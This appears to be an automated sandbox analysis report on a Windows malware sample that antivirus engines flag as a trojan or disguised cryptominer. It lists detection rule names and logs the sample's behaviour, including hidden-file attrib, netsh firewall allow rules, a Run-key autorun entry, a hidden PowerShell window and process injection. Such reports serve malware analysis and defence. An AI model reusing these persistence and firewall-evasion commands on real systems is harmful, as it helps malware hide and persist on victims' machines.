description	Communications over P2P network	rule	Network_P2P_Win
description	Communication using DGA	rule	Network_DGA
description	Steal credential	rule	local_credential_Steal
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Escalate priviledges	rule	Escalate_priviledges
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Take ScreenShot	rule	ScreenShot
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	File Downloader	rule	Network_Downloader

Uses Windows utilities for basic Windows functionality (6 events)

cmdline	wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
cmdline	wmic computersystem where name="TEST22-PC" set AutomaticManagedPagefile=False
cmdline	"C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe"
cmdline	"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe" enable=yes
cmdline	"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe" enable=yes
cmdline	REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "4" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\4.exe" /F

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_ComputerSystem WHERE name="TEST22-PC"

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\4

reg_value

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\4.exe

Operates on local firewall's policies and settings (2 events)

cmdline	"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe" enable=yes
cmdline	"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe" enable=yes

One or more non-whitelisted processes were created (6 events)

parent_process	wscript.exe	martian_process	"C:\Users\test22\AppData\Local\Temp\C3.bat"
parent_process	wscript.exe	martian_process	C3.bat
parent_process	powershell.exe	martian_process	"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe" enable=yes
parent_process	powershell.exe	martian_process	"C:\Windows\system32\cmd.exe"
parent_process	powershell.exe	martian_process	"C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe"
parent_process	powershell.exe	martian_process	"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe" enable=yes

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2640 resumed a thread in remote process 2768
Process injection	Process 2868 resumed a thread in remote process 2980
NtResumeThread Aug. 1, 2023, 9:06 a.m.	thread_handle: 0x0000028c suspend_count: 1 process_identifier: 2768	1	0	0
NtResumeThread Aug. 1, 2023, 9:06 a.m.	thread_handle: 0x00000084 suspend_count: 0 process_identifier: 2980	1	0	0

Creates a suspicious Powershell process (1 event)

option

-windowstyle hidden

value

Attempts to execute command with a hidden window

The processes wscript.exe, powershell.exe wrote an executable file to disk (24 events)

file	C:\Windows\SysWOW64\wscript.exe
file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Windows\System32\netsh.exe
file	C:\Windows\System32\cmd.exe
file	C:\Windows\System32\attrib.exe

File has been identified by 37 AntiVirus engines on VirusTotal as malicious (37 events)

Bkav	W32.AIDetectMalware
Elastic	malicious (moderate confidence)
DrWeb	Trojan.Inject4.58828
MicroWorld-eScan	Trojan.Rasftuby.Gen.14
CAT-QuickHeal	Trojan.IGENERIC
VIPRE	Trojan.Rasftuby.Gen.14
K7AntiVirus	Trojan ( 005a508c1 )
K7GW	Trojan ( 005a508c1 )
Cybereason	malicious.6ae5d2
Arcabit	Trojan.Rasftuby.Gen.14
Cyren	W32/S-1b09bef6!Eldorado
ESET-NOD32	a variant of Win64/GenKryptik.GIKN
APEX	Malicious
Cynet	Malicious (score: 100)
Kaspersky	Trojan.Win64.Miner.lgyw
BitDefender	Trojan.Rasftuby.Gen.14
Avast	Win64:Evo-gen [Trj]
Emsisoft	Trojan.Rasftuby.Gen.14 (B)
TrendMicro	TROJ_GEN.R03BC0XGN23
McAfee-GW-Edition	BehavesLike.Win32.Generic.rc
FireEye	Trojan.Rasftuby.Gen.14
Sophos	Mal/Generic-S
Ikarus	Trojan.Win64.Krypt
MAX	malware (ai score=82)
Antiy-AVL	Trojan/Win64.GenKryptik
Microsoft	Program:Win32/Wacapew.C!ml
ZoneAlarm	Trojan.Win64.Miner.lgyw
GData	Trojan.Rasftuby.Gen.14
Google	Detected
ALYac	Trojan.Rasftuby.Gen.14
Malwarebytes	Crypt.Trojan.MSIL.DDS
TrendMicro-HouseCall	TROJ_GEN.R03BC0XGN23
Rising	Trojan.DisguisedXMRigMiner!8.12EF7 (TFE:5:YhzrPCllRHI)
SentinelOne	Static AI - Suspicious SFX
Fortinet	W64/GenKryptik.GIIA!tr
AVG	Win64:Evo-gen [Trj]
DeepInstinct	MALICIOUS

4XR.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All